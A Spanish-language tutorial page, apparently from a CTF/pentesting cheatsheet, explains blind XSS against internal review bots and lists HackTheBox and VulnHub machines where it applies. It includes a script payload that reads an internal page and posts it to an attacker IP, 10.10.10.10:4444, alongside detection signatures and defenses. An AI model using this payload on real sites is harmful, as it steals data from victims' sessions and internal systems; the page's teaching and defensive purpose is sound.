Blind XSS (Bot & Exfiltration)
Arsenal completo de comandos en la cheatsheetUn XSS se vuelve mucho más potente cuando hay un usuario interno que abre lo que le enviamos: un administrador, un revisor de tickets o un bot headless que renderiza el contenido. Es el patrón del XSS ciego: nosotros no vemos el resultado en nuestro navegador, pero otro ejecuta nuestro JavaScript en su contexto, con su sesión y su red.
El flujo típico tiene tres piezas:
- Inyección. Un campo que se renderiza sin sanear (un visor de Markdown, un comentario, un nombre). Un clásico es
<img src=x onerror=...>o un<script>directo. - Entrega. Un canal por el que el contenido llega a la víctima: un enlace "compartir", un formulario de Contact Us, un ticket. Si al enviarlo recibimos una petición a nuestro servidor (un
fetcha una IP controlada), confirmamos que alguien lo abre (a menudo se delata con un User-Agent deHeadlessChrome). - Exfiltración. Como el JS corre en el origen de la víctima, puede leer recursos internos que nosotros no alcanzamos (mismo origen, su sesión) y mandárnoslos:
<script>
fetch("http://victima.htb/recurso-interno")
.then(r => r.text())
.then(d => fetch("http://10.10.10.10:4444/", { method:"POST", body:d }));
</script>A partir de ahí se encadena: leer una página solo accesible desde dentro, descubrir un parámetro vulnerable y, por ejemplo, pivotar a un LFI para sacar un .htpasswd o un fichero de configuración. El XSS es el navegador prestado; el daño real viene de lo que ese navegador puede tocar.
Cómo detectarlo. La firma tiene dos caras. En la entrada, contenido almacenado con <script>, onerror=, fetch( o document.cookie en campos que no deberían llevar HTML (escaneo de contenido/WAF). En la salida, el bot de revisión (User-Agent HeadlessChrome) haciendo una petición saliente a una IP externa poco después de renderizar contenido de usuario, y a menudo una lectura previa de un recurso interno que ese bot sí alcanza: ese egreso desde el host del bot es el indicador más fiable. Los informes de violación de CSP también lo delatan.
Defensa. Sanear y codificar toda entrada que se renderice (escapar HTML, CSP estricta), HttpOnly en las cookies, y aislar los bots de revisión para que no tengan acceso privilegiado a recursos internos.
Máquinas donde se aplica
- AlertHackTheBox
- HeadlessHackTheBox
- MyExpense 1VulnHub
- Symfonos 6VulnHub